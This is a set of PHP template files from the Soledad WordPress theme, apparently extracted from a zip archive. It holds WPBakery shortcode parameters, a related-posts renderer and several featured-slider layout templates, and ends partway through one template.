			'heading'          => esc_html__( 'Hide Dots On Carousel Related Posts', 'soledad' ),
			'param_name'       => 'penci_post_related_dots',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable Next/Prev Button On Carousel Related Posts', 'soledad' ),
			'param_name'       => 'penci_post_related_arrows',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable Posts Format Icons in Related Posts', 'soledad' ),
			'param_name'       => 'penci_post_related_icons',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date on Related Posts', 'soledad' ),
			'param_name'       => 'penci_hide_date_related',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Post Title', 'soledad' ),
			'param_name'       => 'post_title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Hover Color for Post Title', 'soledad' ),
			'param_name'       => 'post_title_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'post_title_font',
			'value'      => '',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'post_title_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Post Date', 'soledad' ),
			'param_name'       => 'post_date_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'post_date_font',
			'value'      => '',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'post_date_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'post_img_ratio',
			'heading'    => __( 'Custom Featured Image Ratio', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     /w\     :  js_composer/shortcodes/pc_single_relatedposts/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_relatedposts' );
$css_custom = '';
$mods       = [
	'penci_post_related_autoplay',
	'penci_numbers_related_post',
	'penci_related_orderby',
	'penci_related_sort_order',
	'penci_related_posts_title_length',
	'penci_related_by',
	'penci_post_related_grid',
	'penci_post_related_dots',
	'penci_post_related_arrows',
	'penci_post_related_icons',
	'penci_hide_date_related',
	'penci_post_related_text'
];
foreach ( $mods as $mod ) {
	$value = $settings[ $mod ];
	add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
		return penci_switch_value( $value );
	} );
}
$settings['heading'] = $settings['penci_post_related_text'];
echo '<div id="' . $block_id . '" class="' . $css_class . '">';
get_template_part( 'inc/templates/related_posts' );
echo '</div>';
$typo_css = '';
$css      = [
	'post_title_color'  => [ '{{WRAPPER}} .item-related h3 a' => 'color:{{VALUE}}' ],
	'post_title_hcolor' => [ '{{WRAPPER}} .item-related h3 a:hover' => 'color:{{VALUE}} !important' ],
	'post_date_color'   => [ '{{WRAPPER}} .item-related span.date' => 'color:{{VALUE}} !important' ],
];
$typo_css .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['post_title_size'],
	'font_style' => $settings['post_title_font'],
	'template'   => '#' . $block_id . '  .item-related h3{ %s }',
) );
$typo_css .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['post_date_size'],
	'font_style' => $settings['post_date_font'],
	'template'   => '#' . $block_id . '  .item-related span.date{ %s }',
) );
if ( $settings['post_img_ratio'] ) {
	$typo_css = penci_extract_md_responsive_fsize( '#' . $block_id . ' .item-related > a:before{padding-top:{{VALUE}}%;}', $settings['post_img_ratio'] );
}
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id, $typo_css );
PK     /w\mE2  2  3  js_composer/shortcodes/featured_slider/style-20.phpnu [        <?php
/**
 * Template part for Slider Style 20
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 1 || $i % 5 == 2 ): $thumb = $bpost_thumb_size;
					$psize                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( ( $i % 5 == 1 || $i % 5 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 1 || $i % 5 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\?    3  js_composer/shortcodes/featured_slider/style-10.phpnu [        <?php
/**
 * Template part for Slider Style 10
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
					<?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\*    2  js_composer/shortcodes/featured_slider/style-2.phpnu [        <?php
/**
 * Template part for Slider Style 2
 */

$post_thumb_size  = $post_thumb_size ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
    <div class="penci-swiper-mask penci-image-holder"
         style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
         href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
        <?php } ?>
        <?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
                    <?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
                    <?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                        <div class="feat-meta">
                            <?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
                            <?php endif; ?>
                            <?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
                            <?php endif; ?>
                            <?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
                            <?php endif; ?>
                            <?php echo penci_show_custom_meta_fields( [
                                'validator' => $cspost_enable,
                                'keys'      => $cspost_cpost_meta,
                                'acf'       => $cspost_cpost_acf_meta,
                                'label'     => $cspost_cpost_meta_label,
                                'divider'   => $cspost_cpost_meta_divider,
                            ] ); ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
        <?php endif; ?>
    </div>
</div>
<?php endwhile;
wp_reset_postdata();
endif; ?>
PK     /w\+|s  s  2  js_composer/shortcodes/featured_slider/style-8.phpnu [        <?php
/**
 * Template part for Slider Style 8
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();

	$image_size_m = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $image_size_m : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\EHy2  2  3  js_composer/shortcodes/featured_slider/style-21.phpnu [        <?php
/**
 * Template part for Slider Style 21
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 4 || $i % 5 == 0 ): $thumb = $bpost_thumb_size;
					$psize                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( ( $i % 5 == 4 || $i % 5 == 0 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 4 || $i % 5 == 0 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\[    3  js_composer/shortcodes/featured_slider/style-42.phpnu [        <?php
/**
 * Template part for Slider Style 42
 */
$image_size          = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
?>
<div class="penci-slider42-wrapper">
    <div class="penci-slider42-thumb-wrapper">
        <div class="penci-slider42-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
             data-desktop="4" data-tablet="3" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false" data-e="false" data-auto="false">
            <div class="penci-slider42-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider42-t-item">

                       
                        <div class="pcslider-42-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider42-main-wrapper">
        <div class="penci-slider42-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider42-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
